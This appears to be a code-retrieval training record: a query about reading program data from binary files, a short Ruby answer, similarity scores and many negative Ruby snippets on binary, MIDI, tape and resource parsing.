interpret_nil(matching[5])\n event[:proc_id] = interpret_nil(matching[6])\n event[:msg_id] = interpret_nil(nil)\n event[:structured_data] = interpret_nil(matching[7])\n event[:message] = interpret_nil(matching[8])\n event[:original] = matching[0]\n event\n end", "def test_full_io\n sleep(1)\n messages = VariousMIDIMessages\n messages_arr = messages.inject { |a,b| a+b }.flatten\n received_arr = []\n pointer = 0\n TestOutput.open do |output|\n TestInput.open do |input|\n\n messages.each do |msg|\n\n $>.puts \"sending: \" + msg.inspect\n\n output.puts(msg)\n sleep(1)\n received = input.gets.map { |m| m[:data] }.flatten\n \n\n $>.puts \"received: \" + received.inspect\n\n assert_equal(messages_arr.slice(pointer, received.length), received)\n \n pointer += received.length\n \n received_arr += received\n \n end\n \n assert_equal(messages_arr.length, received_arr.length)\n\n end\n end\n end", "def receive\n\t\t# send ready\n\t\tputs @ready_word\n\n\t\t# initialial sequence\n\t\thexsize = 0\n\t\twhile cmd = get_line\n\t\t\tcase cmd[0]\n\t\t\twhen CMDSTART\n\t\t\t\tputs RSPSTART\n\t\t\twhen CMDVERSION\n\t\t\t\t# 12345678901234567890123456789012\n\t\t\t\t# \"enzi H1.0.5 \"\n puts sprintf(\"%-16s%c%-15s\", BOARD_NAME, DATA_TYPE, FIRM_VERSION)\n\t\t\twhen CMDSIZE # 'Sxxxx'\n\t\t\t\thexsize = cmd[1..-1].to_i(16)\n\t\t\t\tputs \"\"\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\traise \"Invalid command #{cmd.inspect}\"\n\t\t\tend\n\t\tend\n\n\t\t# receive and write application binary\n bin = ''\n binsize = (hexsize / 2).to_i\n while bin.size < binsize\n hex = get_line.strip\n 0.step(hex.size-1, 2) {|i|\n bin << (hex[i,2].to_i(16).chr)\n }\n puts \"#{bin.size * 2}/#{hexsize}\"\n end\n\n\t\t# check CRC16 checksum\n\t\tcrc = get_line\n # TODO: check\n # puts crc\n\n # Overwrite application binary file\n f = File.open(APPFILE, 'w+')\n bin.each_char {|b| f.putc b}\n f.flush\n f.close\n\n # notify completion\n puts crc\n delay(500)\n\n # software reset\n system_reset\n end", "def message\n\t\t\t@packet.message\n\t\tend", "def parse message\n\t\t\treturn nil unless message.valid_encoding?\n\t\t\tmessage = message.dup\n\t\t\tprefix = message.slice!(/\\S+/)\n\t\t\treturn nil unless prefix\n\t\t\tid, command = prefix.scan(/(\\d+:)?(\\w+)/).flatten\n\t\t\tid = id.delete(\":\").to_i if id\n\t\t\tid = nil if id == 0\n\t\t\tif message.include?(':')\n\t\t\t\tmessage = Hash[*message.scan(/(\\w+):([^:\\s]+)/).flatten].symbolize_keys if message.include?(':')\n\t\t\t\tmessage.each_key {|k| message[k] = message[k].to_i if message[k].is_numeric?}\n\t\t\telse\n\t\t\t\tmessage.delete!(' ')\n\t\t\tend\n\t\t\treturn [id, command, message]\n\t\tend", "def getBreakpadSymbolInfo(data)\n match = data.match(/MODULE\\s(\\w+)\\s(\\w+)\\s(\\w+)\\s(\\S+)/)\n\n if !match || match.captures.length != 4\n raise \"invalid breakpad data\"\n end\n\n match.captures\nend", "def process_irc message\n res = message.scan(/\\00314\\[\\[\\00307(.*)\\00314\\]\\]\\0034\\s+(.*)\\00310\\s+\\00302.*(diff|oldid)=([0-9]+)&(oldid|rcid)=([0-9]+)\\s*\\003\\s*\\0035\\*\\003\\s*\\00303(.*)\\003\\s*\\0035\\*\\003\\s*\\((.*)\\)\\s*\\00310(.*)\\003/).first\n #get rid of the diff/oldid and oldid/rcid groups\n res.delete_at(4)\n res.delete_at(2)\n res\n end" ]
[ "0.59759104", "0.5656735", "0.5452958", "0.54080665", "0.5392941", "0.5352338", "0.534459", "0.52830565", "0.5281976", "0.52596194", "0.5255477", "0.5234659", "0.5183154", "0.51806927", "0.5153215", "0.5141619", "0.5120715", "0.5103102", "0.5092581", "0.5081025", "0.5057778", "0.50464547", "0.49987525", "0.4993056", "0.49804863", "0.49729973", "0.49657533", "0.49379843", "0.49253872", "0.48960137", "0.4894154", "0.4893782", "0.4893016", "0.48737296", "0.4872634", "0.48717558", "0.4870346", "0.48678163", "0.48315892", "0.4829037", "0.48220846", "0.48176026", "0.48149496", "0.48001942", "0.47974825", "0.47916186", "0.47898972", "0.47894308", "0.47862503", "0.47790968", "0.477822", "0.47771287", "0.47695246", "0.4744218", "0.47430328", "0.4740866", "0.47353524", "0.47321823", "0.47299182", "0.47229868", "0.4714102", "0.4712308", "0.4704477", "0.46946302", "0.46828806", "0.46807724", "0.46745193", "0.46693775", "0.46644777", "0.4664062", "0.4663751", "0.4662942", "0.46595913", "0.46547818", "0.46474096", "0.46456966", "0.463974", "0.46394134", "0.46331334", "0.46262038", "0.46239948", "0.46219283", "0.46217698", "0.4618188", "0.4614883", "0.46136177", "0.4608734", "0.46083507", "0.46079654", "0.4604152", "0.46024257", "0.4599254", "0.45845732", "0.45834634", "0.4578959", "0.45759287", "0.45698476", "0.45677125", "0.45661792", "0.45645663" ]
0.75217336
0
Extract program data dump from binary file (like the .prog_bin files that are part of .molglib/.molgpreset packs)
def get_program_file_data(program_file) File.open(program_file,'rb'){|f| f.read} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_program(prog)\n prog_bytes = to_bytes(prog)\n data = {}\n raise \"Invalid program\" unless prog[0, 4] == 'PROG'\n name = prog[4...16]\n data[:name] = program_name(prog)\n\n HR_PARAMS.each do |(key, ms_offset, ls_offset, ls_pos, units)|\n # single byte value\n value = prog_bytes[ms_offset]\n data[key] = value\n # high resolution value\n value_hr = (value << 2) | ((prog_bytes[ls_offset] >> ls_pos) & 0x03)\n data[:\"#{key}_hr\"] = value_hr\n if units\n # converted value:\n data[:\"#{key}_#{units}\"] = CONVERTERS[units][value_hr]\n end\n end\n\n CONV_PARAMS.each do |(key, offset, bit_pos, bit_len, units)|\n value = bits(prog_bytes[offset], bit_pos, bit_len)\n data[key] = CONVERTERS[units][value]\n if value != data[key]\n data[:\"#{key}_value\"] = value\n end\n end\n\n data[:seq_notes] = (96..426).step(22).map{|offset| note_name prog_bytes[offset]}\n (data[:step_length]...data[:seq_notes].size).each do |i|\n data[:seq_notes][i] = ''\n end\n # puts data[:seq_notes].join(' ')\n\n data[:lfo_rate_vis] = data[:lfo_bpm_sync] == 'ON' ? data[:lfo_rate_bpm] : data[:lfo_rate_hr]\n data[:eg_int_abs] = data[:eg_int_signed].abs\n data[:lfo_int_abs] = data[:lfo_int_signed].abs\n data\nend", "def get_program_midi_data(data)\n valid = data[0] == 0xF0 &&\n data[1] == 0x42 &&\n (data[2] & 0xF0 == 0x30) &&\n data[3] == 0x00 &&\n data[4] == 0x01 &&\n data[5] == 0x44 &&\n (data[6] == 0x4C || data[6] == 0x40) &&\n data[-1] == 0xF7\n if data[6] == 0x40\n # current program\n program = nil\n start = 7\n else\n program = data[7]\n start = 9\n end\n prog = data[start...-1]\n raise \"Invalid program\" unless valid && prog.size == 512\n from_bytes midi_decoder prog\nend", "def load program_binary\n ram[code_start, program_binary.length] = program_binary\n self\n end", "def load_bin filename\n hibyte = 0 # Upper, actual byte, under read head.\n lobyte = 0 # Lower byte of the word.\n word = 0 # Readed word.\n origin = 0 # Origin, memory pointer (0o OOOO)\n field = 0 # Actual field in form (0o F0000)\n checksum = 0\n\n File.open filename do |f|\n\n # Tape must begin with LEADER marks (0b 1000 000). We must\n # skip all these, and read first byte before entering the main\n # reading loop.\n hibyte = 0200\n hibyte = f.readchar while hibyte == 0200\n\n # In 'endless' loop we interpret data on the paper tape.\n while true\n\n # We look into the byte and decide what is on the tape now.\n case hibyte >> 6\n\n when 0b00 # DATA, next byte contains lower 6 bits of the word.\n lobyte = f.readchar\n word = (hibyte << 6) | lobyte\n sum = lobyte + hibyte\n # Read the next byte because we need to know if it's\n # TRAILER or not.\n hibyte = f.readchar\n if hibyte != 0200 then\n @content[field | origin] = word\n origin = (origin +1) & 07777 # Advance origin by one.\n checksum += sum\n end\n next\n\n when 0b01 # ORIGIN, next byte contains lower 6 bits of origin.\n lobyte = f.readchar\n origin = ((hibyte & 0o77) << 6) | lobyte\n checksum += hibyte + lobyte\n\n when 0b10 # TRAILER marks the end of tape.\n # Last word written to memory is checksum. We must check\n # it and remove from memory.\n checksum &= 07777\n if checksum != word then\n puts \"BIN loader checksum error: computer=%0.4o, on tape=%0.4o\" % [checksum, word]\n exit\n end\n break\n\n when 0b11 # FIELD SETTING byte contains the filed number.\n field = (hibyte & 070) << 9\n end\n\n hibyte = f.readchar # Read the next byte.\n end\n end\n\n end", "def deserialize()\n mem_buf = File.new('test/ipv6_test/ruby_test/bin.babel.rb').binmode\n end", "def deserialize()\n mem_buf = File.new('test/basic_complex_test/ruby_test/bin.babel.rb').binmode\n end", "def get_bin(id)\n File.read(File.join(File.expand_path(File.dirname(__FILE__)),'data',id.to_s),mode: 'rb')\n end", "def dumpbin( f, data )\r\n\tdumpLine = lambda {|d, o|\r\n\t\tchars = \"\"\r\n\t\tline = sprintf(\"0x%08X: \", o)\r\n\t\td.each_byte do |bytedata|\r\n\t\t\tline << sprintf(\"%02X \", bytedata)\r\n\t\t\tchars << ((bytedata >= 0x20 && bytedata <= 0x7e) ? bytedata.chr : '.')\r\n\t\tend\r\n\t\tline << \" \" * (16 - d.length)\r\n\t\treturn (line + \" \" + chars + \"\\n\")\r\n\t}\r\n\toffset = 0\r\n\twhile d = data[offset, 16]\r\n\t\tf.print dumpLine.call(d, offset)\r\n\t\toffset += 16\r\n\tend\r\nend", "def serialize\n # TODO sanity checks, e.g. assert(@header[:ncmds] == @load_command.size)\n # ... perhaps an option to recalculate such data as well.\n\n # Now that we have all the pieces of the file defined we can calculate\n # the file offsets of segments and sections.\n calculate_offsets\n\n ###################################\n # Mach-O file Part 1: Mach Header #\n ###################################\n @header.serialize +\n\n #####################################\n # Mach-O file Part 2: Load Commands #\n #####################################\n # dump each load command (which include the section headers under them)\n @load_commands.map do |cmd|\n sects = @sections[cmd[:segname]] rescue []\n sects.inject(cmd.serialize) do |data, sect|\n data + sect.serialize\n end\n end.join +\n\n ###################################\n # Mach-O file Part 3: Binary data #\n ###################################\n @data.join\n end", "def unpack(binary)\n end", "def binaries\n sizes = self.binary_sizes\n bin_array = MemoryPointer::new( :pointer, sizes.length )\n total_size = 0\n pointers = []\n sizes.each_with_index { |s, i|\n total_size += s\n pointers[i] = MemoryPointer::new(s)\n bin_array[i].write_pointer(pointers[i])\n }\n error = OpenCL.clGetProgramInfo(self, BINARIES, total_size, bin_array, nil)\n error_check(error)\n bins = []\n devs = self.devices\n sizes.each_with_index { |s, i|\n bins.push [devs[i], pointers[i].read_bytes(s)]\n }\n return bins\n end", "def run (path = \"progfile.dat\")\n find_instructions\n find_labels\n\n @input.each do |line|\n if (line.instruction?) || (line.comment?)\n parse_input(line)\n @instruction = nil\n # If it's a comment -> show but not work with it\n if line.instruction?\n \n exists_instruction?\n parse_label\n argument_size?\n argument_syntax?\n\n @instruction.set_arguments(@cmd[:arguments])\n @output << @instruction.code\n end\n show(@output.size-1) if @debug\n end\n @line += 1\n end\n generate(path)\n end", "def parse_binary_data(binary_data)\n chunk_size = DATA_ELEMENTS + 1 # plus header\n data_elements = binary_data.length / DATA_FORMAT.length\n data_format = binary_format data_elements\n unpacked = binary_data.unpack(data_format)\n buffer = unpacked[HEADER_FORMAT.length..-1]\n data = {}\n data_elements.times do |element_index|\n offset = element_index * chunk_size\n chunk = buffer[offset..offset + chunk_size]\n element_id = chunk[0]\n map = Xplane::XPLANE_DATA_MAPPER[element_id]\n if map\n map.each_with_index do |key, i|\n data[key] = chunk[i + 1] # plus header\n end\n end\n end\n return data\n end", "def read_binary(file); end", "def to_data(prog, offset, data)\n if data.is_a?(Hash)\n res = \"\\x0\"*@struct_size\n @members.each do |n, m|\n if data.key?(n.to_sym)\n items = Array(data[n.to_sym])\n item_offset = m.offset\n m.count.times do |index|\n s = member_item_to_data(prog, m, offset + item_offset, items[index])\n res[item_offset, size=s.bytesize] = s\n item_offset += size\n end\n end\n end\n elsif data.respond_to? :to_z80bin\n res = data.to_z80bin[0,@struct_size].ljust(@struct_size, \"\\x0\")\n elsif data.is_a?(String)\n res = data.dup.force_encoding(Encoding::ASCII_8BIT)[0,@struct_size].ljust(@struct_size, \"\\x0\")\n else\n data = Array(data)\n res = ''\n index = 0\n @members.reject {|_, m| m.alias}.each do |_, m|\n m.count.times do\n s = member_item_to_data(prog, m, offset, data[index])\n offset += s.bytesize\n index += 1\n res << s\n end\n end\n end\n res\n end", "def extract_opcode(dump)\n dump.each_line do |line|\n # If the line is a line of disassembled code...\n m = /\\A\\s+[0-9a-f]+:/i.match line\n\n # Extract the opcode field and remove any internal spaces\n return line.split(/\\t/)[1].split.join unless m.nil?\n end\nend", "def unpack(data); end", "def data\n unless @data\n begin\n saved_lineno = $.\n\n Gem.open_file loaded_from, OPEN_MODE do |file|\n begin\n file.readline # discard encoding line\n stubline = file.readline.chomp\n if stubline.start_with?(PREFIX)\n extensions = if /\\A#{PREFIX}/ =~ file.readline.chomp\n $'.split \"\\0\"\n else\n StubLine::NO_EXTENSIONS\n end\n\n @data = StubLine.new stubline, extensions\n end\n rescue EOFError\n end\n end\n ensure\n $. = saved_lineno\n end\n end\n\n @data ||= to_spec\n end", "def xmos_extract_opcode(dump)\n dump.each_line do |line|\n # If the line is a line of dissassembled code\n m = /\\A\\s+0x[0-9a-f]+:/i.match line\n\n # Extract the opcode field and remove any internal spaces\n return line.split(/:/)[1].split.join unless m.nil?\n end\nend", "def _get_data\n output = %x[/usr/bin/magic_mouse_rb]\n db = output.split(\"|\")\n db = db[1];\n unless db\n return 0\n end\n return db.split\n end", "def parseFile(player, fName)\n typetoi = { \"DAT\" => 0, \"MOV\" => 1, \"ADD\" => 2, \"SUB\" => 3, \"JMP\" => 4, \"JMZ\" => 5, \"DJZ\" => 6, \"CMP\" => 7}\n modetoi = { \"\\#\" => 0, \"\\$\" => 1, \"\\@\" => 2}\n bufCore = [] # Holds the compiled programs for each player\n f = File.open(fName, \"r\") # Open fName for reading\n puts \"Parsing file: \" + fName\n f.each_line do |line| \n puts line\n line.slice!(/;.*/) # Delete comments\n line1 = line.upcase\n typeIndex = /[A-Z][A-Z][A-Z]/ =~ line1 # Get Type\n if typeIndex != nil # Type exists\n type = $~[0]\n puts \" Type: \" + type\n line1 = $~.post_match # Trim out the type\n numIndex = /[\\-|\\+|\\d]\\d*/ =~ line1 # Get First Field\n \n if numIndex == nil\n puts \"Error, no Fields\"\n else\n fieldA = $~[0].to_i\n end #numIndex...\n \n line1 = $~.pre_match # Before the first field\n line2 = $~.post_match # After the first field\n \n modeIndex = /[\\#\\$\\@]/ =~ line1 # Get Mode for first field\n \n if modeIndex == nil\n modeA = \"$\"\n else\n modeA = $~[0]\n end # if modeIndex\n puts \" ModeA: \" + modeA # Print the assembled instruction\n puts \" FieldA: #{fieldA}\"\n\n numIndex = /[\\-|\\+|\\d]\\d*/ =~ line2 # Get Second Field\n \n if numIndex == nil\n fieldB = fieldA # Copy first field & mode if no second\n modeB = modeA\n else\n fieldB = $~[0].to_i\n\n line1 = $~.pre_match # Before the second field\n\n modeIndex = /[\\#\\$\\@]/ =~ line1 # Get Mode for second field\n if modeIndex == nil\n modeB = \"$\"\n else\n modeB = $~[0]\n end\n end # if numIndex...\n \n puts \" ModeB: \" + modeB\n puts \" FieldB: #{fieldB}\"\n puts \" Opcode: #{typetoi[type]}, #{modetoi[modeA]}, #{fieldA}, #{modetoi[modeB]}, #{fieldB}\"\n bufCore << [typetoi[type], modetoi[modeA], fieldA, modetoi[modeB], fieldB, player]\n end #if typeIndex...\n # Instruction Regexp: /[A-Za-z]+|[#$@]|[[-|+]\\d+]/ \n # Comment Regexp: /;.*/ \n end #each_line\n f.close\n puts \"Core Dump, player[#{player}]:\" # Write out the compiled program\n bufCore.each do |element| \n puts \" #{element[0]}, #{element[1]}, #{element[2]}, #{element[3]}, #{element[4]}\"\n end #bufCore.each\n puts\n bufCore\n end", "def load_dataE(filename)\r\n Log.ger.debug('Read '+filename)\r\n File.open(filename, \"rb\") { |f|\r\n obj = Marshal.load(f)\r\n }\r\nend", "def load_program(program, offset = 0)\n @program = program\n compile_program(@program)\n end", "def unpack(p0) end", "def read_data\n unpacker.read\n end", "def init_with_program(prog); end", "def show_program_h_offset\n\t\t\tputs \" Start of program headers: #{@elf_program_h_offset.to_h} (bytes into file)\"\n\t\tend", "def to_ruby\n%{#!#{ File.join(rbconfig('bindir'), rbconfig('ruby_install_name')) }\n#\n# This file was generated by MicroGem (µgem).\n#\n# The application '#{@bin_name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n\nrequire 'rubygems'\n\nversion = \"> 0\"\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@gem_name}', version\nload '#{@bin_name}'\n}\n end", "def assemble(op)\n dump = \"\"\n Tempfile.open(['getopcode','.o']) do |f|\n `echo '#{op}' | #{$as} #{$flags} -o #{f.path}`\n dump = `#{$objdump} -d #{f.path}`\n end\n\n unless $xmos \n return extract_opcode(dump)\n else\n return xmos_extract_opcode(dump)\n end\nend", "def data\n bytes = lp_data.bytes.to_a.pack('C*')\n case lp_type\n when 1,2\n bytes.force_encoding('utf-16le').strip\n when 3\n bytes\n when 4\n bytes.unpack('V').first\n when 5\n bytes.unpack('N').first\n when 7\n str = bytes.force_encoding('utf-16le')\n str.split(\"\\0\".encode('utf-16le'))\n when 11\n bytes.unpack('Q<').first\n else\n \"\"\n end\n end", "def parse_data(data)\n idx = 0\n @prev_out, @prev_out_index = data[idx...idx+=36].unpack(\"a32I\")\n @script_sig_length, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize - tmp.bytesize\n @script_sig = data[idx...idx+=@script_sig_length]\n @sequence = data[idx...idx+=4]\n idx\n end", "def vout_to_data(vout)\n asm = vout['scriptPubKey']['asm']\n data = ''\n asm.split(' ').each { |chunk|\n # TODO: Why do we test for even lengths here?\n # Block 435078 tx e133cb4d8df4626d80d8494bf5aa72a084368a61ce5fe2aa2a88580859c441dc\n # OP_RETURN 7171437 (Why is this not hex?)\n # This is not the only instance IIRC.\n if not chunk.start_with? 'OP_' and chunk.length % 2 == 0\n data += [chunk].pack('H*')\n end\n }\n data\nend", "def extract_functions\n output = ObjdumpReader.objdump_output(\n [\n \"-M\", \"intel\", \"-D\", \n \"--section=.text\", \"--section=.plt\", \"--section=.init\", \n \"--demangle\", @elf_path\n ]\n )\n lines = output.split(\"\\n\").map { |l| ObjdumpLine.new( l ) }\n\n @functions = Set.new\n last_label = nil\n last_instrs = nil\n\n lines.each do |l|\n if l.type == :label\n unless last_label.nil?\n f = Function.new(\n last_label.name,\n last_label.address,\n l.address,\n ObjdumpReader.lines_to_instrs( last_instrs )\n )\n @functions << f\n end\n last_label = l\n last_instrs = []\n elsif l.type == :instruction\n unless last_instrs.nil?\n last_instrs << l\n end\n end\n end\n end", "def import\n fragments.each(&:destroy)\n File.open(bin_file_name, \"rb\") do |f|\n order = 0\n new_lines = 0\n until f.eof?\n new_lines += import_next_object(f, order)\n order += 1\n end\n update! lines: new_lines\n end\n add_locations\n end", "def build_program(ctx, dev, filename)\n abort(\"Couldn't find the program file\") if not File.exists?(filename)\n\n # Read program file and place content into buffer\n program_buffer = File.read(filename)\n\n # Create program from file\n err_buf = ' ' * 4\n program = clCreateProgramWithSource(ctx, 1, [program_buffer].pack(\"p\"), [program_buffer.bytesize].pack(\"Q\"), err_buf)\n err = err_buf.unpack(\"l\")[0]\n abort(\"Couldn't create the program\") if err < 0\n\n # Build program\n err = clBuildProgram(program, 0, nil, nil, nil, nil)\n if err < 0\n # Find size of log and print to std output\n log_size_buf = ' ' * 4\n clGetProgramBuildInfo(program, dev, CL_PROGRAM_BUILD_LOG, 0, nil, log_size_buf)\n log_size = log_size_buf.unpack(\"L\")[0]\n program_log = ' ' * log_size\n clGetProgramBuildInfo(program, dev, CL_PROGRAM_BUILD_LOG, log_size, program_log, nil)\n abort(program_log)\n end\n\n return program\nend", "def encoding prog_h\n puts \"encoding...\"\n hash={}\n prog_h.each{|addr,instr| hash[addr]=encode(instr)}\n return hash\n end", "def dump\n puts \"#{self}:\"\n puts\n\n puts \"fil header:\"\n pp fil_header\n puts\n\n puts \"fil trailer:\"\n pp fil_trailer\n puts\n end", "def load fname=Dir[\"dumps/atari_*.bin\"].sort.last\n hsh = File.open(fname, 'r') { |f| Marshal.load f }\n initialize hsh[:config]\n opt.instance_variable_set :@best, hsh[:best]\n opt.instance_variable_set :@mu, hsh[:mu]\n opt.instance_variable_set :@sigma, hsh[:sigma]\n compr.instance_variable_set :@centrs, hsh[:centrs]\n # Uhm haven't used that yet...\n # what else needs to be done in order to be able to run `#show_ind` again?\n puts \"Experiment data loaded from `#{fname}`\"\n true\n end", "def parse(data, compact)\n magic = data[0..3]\n raise InvalidHeader, \"No magic bytes found at start\" unless %w( SDPX XPDS).include?(magic)\n \n is_le = (magic == \"XPDS\")\n \n version_check = FileInfo.only(:magic, :version)\n begin\n result = is_le ? version_check.apply_le!(data) : version_check.apply!(data)\n raise InvalidHeader, \"Unknown version tag #{result.version}\" unless result.version =~ /V(\\d)\\.(\\d+)/i\n rescue ArgumentError\n raise InvalidHeader, \"Cannot unpack header\"\n end\n \n struct = compact ? CompactDPX : DPX\n is_le ? struct.apply_le!(data) : struct.apply!(data)\n end", "def bin(name)\n self.path.join('bin',name.to_s).to_s\n end", "def grep(word)\n git(\"grep --ignore-case --word-regexp --extended-regexp \\\"#{word}\\\"\").chomp.split(\"\\n\").map {|match|\n name, line = match.split /:\\s*/, 2\n\n if name =~ /binary file (.+) matches/i\n name = $1\n line = \"&lt;binary file&gt;\"\n end\n\n [object_for(name), line]\n }\n end", "def load(filename)\n data = Array.new\n f = File.new(filename, \"r\")\n while (line = f.gets())\n nums = line.split(\" \")\n w = Array.new\n p = Array.new\n cnt = 0\n for i in (0..nums.at(1).to_i-1)\n #w.push(bin_round(nums.at(3+2*i).to_i, $roundbits)) #pro aprox alg.\n w.push(nums.at(3+2*i).to_i)\n p.push(nums.at(4+2*i).to_i)\n cnt += 1\n end\n data.push(Batoh.new(w, p, nums.at(2).to_i, Array.new(cnt, 0))) #inverzni pro DP\n end\n #pp data.to_s\n return data\nend", "def build_program\n assert_ready_to_build\n\n result = build_header + build_struct_types + build_header_structs + \n build_array_command_struct_types + build_environment_struct + \n build_kernels + host_section_source\n\n # Build program entry point\n return result + Translator.read_file(file_name: \"host_section_entry_point.cpp\", replacements: {\n \"prepare_environment\" => environment_builder.build_environment_variable,\n \"host_env_var_name\" => Constants::ENV_HOST_IDENTIFIER,\n \"host_result_array\" => host_result_expression})\n end", "def decompress_binary_to_file(binary, filename)\n return_string = \"\"\n cur = self\n (binary + \"^\").chars.each do |c|\n if cur[c] == nil\n return_string = return_string + cur.keys[0] unless cur.keys[0].nil?\n cur = self\n cur = cur[c]\n else\n cur = cur[c]\n end\n end\n binding.pry\n File.open(filename, 'w+') {|f| f.write(return_string) }\n end", "def export\n return if fragments.count.zero?\n File.open(\"#{bin_file_name}.new\", \"wb\") do |f|\n i = 0;\n fragments.order(:order).each do |fr|\n i = export_object f, fr, i\n end\n end\n end", "def read_end_data\n _app, data = File.read(file).split(/^__END__$/, 2)\n data || ''\n end", "def parse_package(data, offset)\n header = ChunkHeader.new( read_short(data, offset),\n read_short(data, offset+2),\n read_word(data, offset+4) )\n\n package_id = read_word(data, offset+8)\n package_name = read_string(data, offset+12, 256, \"UTF-8\")\n package_type_strings = read_word(data, offset+268)\n package_last_type = read_word(data, offset+272)\n package_key_strings = read_word(data, offset+276)\n package_last_key = read_word(data, offset+280)\n\n package_header = PackageHeader.new(header, package_id, package_name, package_type_strings, package_key_strings)\n\n ## typeStrings StringPool\n startoffset_typestrings = offset + package_type_strings\n puts \"Parse typeStrings StringPool Chunk\" if DEBUG\n stringpool_typestrings = parse_stringpool(data, startoffset_typestrings)\n\n ## keyStrings StringPool\n startoffset_keystrings = offset + package_key_strings\n puts \"Parse keyStrings StringPool Chunk\" if DEBUG\n stringpool_keystrings = parse_stringpool(data, startoffset_keystrings)\n\n ## typeSpec/type Chunks\n type_data = Array.new()\n current_spec = nil\n\n current = startoffset_keystrings + stringpool_keystrings.header.chunk_size\n puts \"Parse Type/TypeSpec Chunks\" if DEBUG\n while current < data.length\n ## Parse Header\n header = ChunkHeader.new( read_short(data, current),\n read_short(data, current+2),\n read_word(data, current+4) )\n ## Check Type\n if header.type == CHUNKTYPE_TYPESPEC\n typespec_id = read_byte(data, current+8)\n typespec_entrycount = read_word(data, current+12)\n\n ## Parse the config flags for each entry\n typespec_entries = Array.new()\n i=0\n while i < typespec_entrycount\n offset = i * 4 + (current+16)\n typespec_entries << read_word(data, offset)\n\n i += 1\n end\n\n typespec_name = stringpool_typestrings.values[typespec_id - 1]\n current_spec = ResTypeSpec.new(header, typespec_name, typespec_entrycount, typespec_entries, nil)\n\n type_data << current_spec\n current += header.chunk_size\n elsif header.type == CHUNKTYPE_TYPE\n type_id = read_byte(data, current+8)\n type_entrycount = read_word(data, current+12)\n type_entryoffset = read_word(data, current+16)\n\n ## The config flags set for this type chunk\n ## TODO: Vary the size of the config structure based on size to accomodate for new flags\n config_start = current+20\n config_size = read_word(data, config_start) # Number of bytes in structure\n type_config = ResTypeConfig.new( read_word(data, config_start+4),\n read_word(data, config_start+8),\n read_word(data, config_start+12),\n read_word(data, config_start+16 ),\n read_word(data, config_start+20),\n read_word(data, config_start+24),\n read_word(data, config_start+28),\n read_word(data, config_start+32) )\n ## TODO: This config structure is outdated. Update to latest aapt specs.\n\n ## The end of the config structure marks the offsets table\n offset_table_start = config_start + config_size\n ## The remainder of the chunk is a list of the entry values for that type/configuration\n type_name = stringpool_typestrings.values[type_id - 1]\n if current_spec.types == nil\n current_spec.types = ResType.new(header, type_name, type_config, type_entrycount, Array.new())\n end\n\n i=0\n while i < type_entrycount\n ## Ensure a hash exists for each type\n if current_spec.types.entries[i] == nil\n current_spec.types.entries[i] = Hash.new()\n end\n current_entry = current_spec.types.entries[i]\n\n ## Get the start of the type from the offsets table\n index_offset = i * 4 + offset_table_start\n start_offset = read_word(data, index_offset)\n if start_offset != OFFSET_NO_ENTRY\n ## Set the index_offset to the start of the current entry\n index_offset = current + type_entryoffset + start_offset\n\n entry_flags = read_short(data, index_offset+2)\n entry_key = read_word(data, index_offset+4)\n entry_data_type = read_byte(data, index_offset+11)\n entry_data = read_word(data, index_offset+12)\n\n # Find the key in our strings index\n key_name = stringpool_keystrings.values[entry_key]\n # Parse the value into a string\n case entry_data_type\n when TYPE_NULL\n data_value = nil\n when TYPE_REFERENCE\n ## TODO: Mark these here, and resolve after package is parsed\n data_value = res_id_to_s(entry_data)\n when TYPE_STRING\n data_value = get_resource_string(entry_data_type, entry_data)\n when TYPE_INT_COLOR_ARGB8..TYPE_INT_COLOR_RGB4\n data_value = get_resource_color(entry_data_type, entry_data)\n when TYPE_DIMENSION\n data_value = get_resource_dimension(entry_data_type, entry_data)\n when TYPE_INT_DEC, TYPE_INT_HEX\n data_value = get_resource_integer(entry_data_type, entry_data)\n when TYPE_BOOL\n data_value = get_resource_bool(entry_data_type, entry_data)\n when TYPE_FLOAT\n data_value = get_resource_float(entry_data_type, entry_data)\n when TYPE_FRACTION\n data_value = get_resource_fraction(entry_data_type, entry_data)\n else\n puts \"Complex Resource (%s,%d) not yet supported.\" % [type_name,entry_data_type] if DEBUG\n data_value = entry_data.to_s\n end\n current_entry[type_config] = ResTypeEntry.new(entry_flags, key_name, entry_data_type, data_value)\n end\n i += 1\n end\n\n current += header.chunk_size\n elsif header.type == CHUNKTYPE_PACKAGE\n ## This is the next package chunk, move along\n puts \"Next Package Chunk Found...Ending\" if DEBUG\n current = data.length\n else\n puts \"Unknown Chunk Found: #{header.type} #{header.size}\" if DEBUG\n ## End Immediately\n current = data.length\n end\n end\n\n return Package.new(package_header, stringpool_typestrings, stringpool_keystrings, type_data)\n end", "def registered_bytes(pp)\n read_bytes \"-distort Perspective '#{pps pp}'\"\n end", "def to_unpacked_file(options={})\n allow_bad_times = options.delete(:fix)\n fix_bcw = allow_bad_times\n data.descriptor.allow_bad_times = allow_bad_times\n new_descriptor = data.descriptor.merge( :type=>data.type )\n new_descriptor.allow_bad_times = allow_bad_times\n tp = File.expand_path(data.tape_path)\n block_padding_repaired_data = Bun.cache(:repaired_data, tp) do\n data.with_block_padding_repaired(fix: fix_bcw)\n end\n new_descriptor.merge!(\n block_padding_repairs: block_padding_repaired_data.block_padding_repairs,\n block_count: block_padding_repaired_data.block_count,\n first_block_size: block_padding_repaired_data.first_block_size,\n )\n\n f = File::Unpacked.create(\n :data=>block_padding_repaired_data,\n :archive=>archive,\n :tape=>File.basename(tape),\n :tape_path=>tape_path,\n :descriptor=>new_descriptor,\n )\n if data.type == :frozen\n f.descriptor.merge!(:shards=>f.shard_descriptors)\n end\n f\n end", "def bin\n File.join(@root, 'bin')\n end", "def app_script_text(bin_file_name)\n <<-TEXT\n#\n# This file was generated by RubyGems.\n#\n# The application '#{@spec.name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n#\n\nrequire 'rubygems'\n\nversion = \"#{Gem::Requirement.default}\"\n\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@spec.name}', version\nload Gem.bin_path('#{@spec.name}', '#{bin_file_name}', version)\nTEXT\n end", "def parse_opcode_bits(fn)\n\n ctr = 0\n name = nil\n bits = {}\n\n File.read(fn).each_line{|l| \n\n ctr += 1\n 